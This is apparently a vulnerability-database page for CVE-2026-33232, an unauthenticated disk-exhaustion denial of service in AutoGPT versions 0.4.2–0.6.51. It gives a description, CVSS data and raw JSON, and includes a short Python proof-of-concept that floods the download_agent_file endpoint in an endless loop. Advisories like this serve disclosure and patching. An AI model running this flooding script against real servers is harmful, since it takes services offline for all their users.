Security Vulnerability Report
中文
CVE-2026-33232 CVSS 7.5 HIGH

CVE-2026-33232

Published: 2026-05-19 02:16:16
Last Modified: 2026-05-19 15:04:09

Description

AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Versions 0.4.2 through 0.6.51 are vulnerable to an unauthenticated Denial of Service (DoS) through the server due to uncontrolled disk space consumption. The download_agent_file endpoint creates persistent temporary files for every request but fails to delete them after they are served. An unauthenticated attacker can repeatedly call this endpoint to exhaust the server's disk space, causing the database or other system services to fail due to "No space left on device" errors, rendering the entire AutoGPT Platform backend unavailable to all users. This issue has been patched in version 0.6.52.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

AutoGPT 0.4.2 - 0.6.51

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL vulnerable to DoS via disk space exhaustion target_url = "http://target-autogpt-instance.com/api/download_agent_file" def exploit_dos(): headers = { "User-Agent": "CVE-2026-33232-Scanner" } print("[+] Starting DoS attack on AutoGPT endpoint...") try: while True: # Send unauthenticated requests to consume disk space response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent. Temporary file created. Disk space reducing...") else: print(f"[-] Request failed with status code: {response.status_code}") except KeyboardInterrupt: print("\n[-] Attack stopped by user.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit_dos()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33232", "sourceIdentifier": "[email protected]", "published": "2026-05-19T02:16:15.677", "lastModified": "2026-05-19T15:04:09.490", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Versions 0.4.2 through 0.6.51 are vulnerable to an unauthenticated Denial of Service (DoS) through the server due to uncontrolled disk space consumption. The download_agent_file endpoint creates persistent temporary files for every request but fails to delete them after they are served. An unauthenticated attacker can repeatedly call this endpoint to exhaust the server's disk space, causing\n the database or other system services to fail due to \"No space left on device\" errors, rendering the entire AutoGPT Platform backend unavailable to all users. This issue has been patched in version 0.6.52."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-459"}, {"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://github.com/Significant-Gravitas/AutoGPT/releases/tag/autogpt-platform-beta-v0.6.52", "source": "[email protected]"}, {"url": "https://github.com/Significant-Gravitas/AutoGPT/security/advisories/GHSA-374w-2pxq-c9jp", "source": "[email protected]"}, {"url": "https://github.com/Significant-Gravitas/AutoGPT/security/advisories/GHSA-374w-2pxq-c9jp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}